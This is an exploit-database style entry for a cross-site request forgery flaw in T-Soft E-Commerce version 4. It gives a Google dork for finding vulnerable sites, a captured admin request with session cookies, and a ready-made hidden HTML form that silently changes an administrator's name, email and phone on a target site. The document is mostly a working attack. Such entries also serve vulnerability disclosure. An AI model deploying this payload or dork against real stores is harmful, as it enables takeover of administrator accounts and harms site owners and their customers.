T-Soft E-Commerce 4 – change ‘admin credentials’ Cross-Site Request Forgery (CSRF)
# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF) # Exploit Author: Alperen Ergel # Software Homepage: https://www.tsoft.com.tr/ # Version : v4 # Tested on: Kali Linux (2021.4) / xammp # Category: WebApp # Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'" # Date: 2021-08-15 ######## Description ######## # # Attacker can change admin informaiton # # ######## Proof of Concept ######## POST /srv/service/admin/updateuserinfo HTTP/1.1 Host: localhost Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password= User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 74 Origin: http://localhost Referer: http://localhost/Y/ Te: trailers Connection: close firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595 ####### EXPLOIT ################## <html> <body> <script>history.pushState('', '', '/')</script> <form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST"> <input type="hidden" name="firstName" value="[CHANGEHERE]" /> <input type="hidden" name="lastName" value="[CHANGEHERE]" /> <input type="hidden" name="email" value="[CHANGEHERE]" /> <input type="hidden" name="phone" value="[CHANGEHERE]" /> <input type="submit" value="Submit request" /> </form> </body> </html> |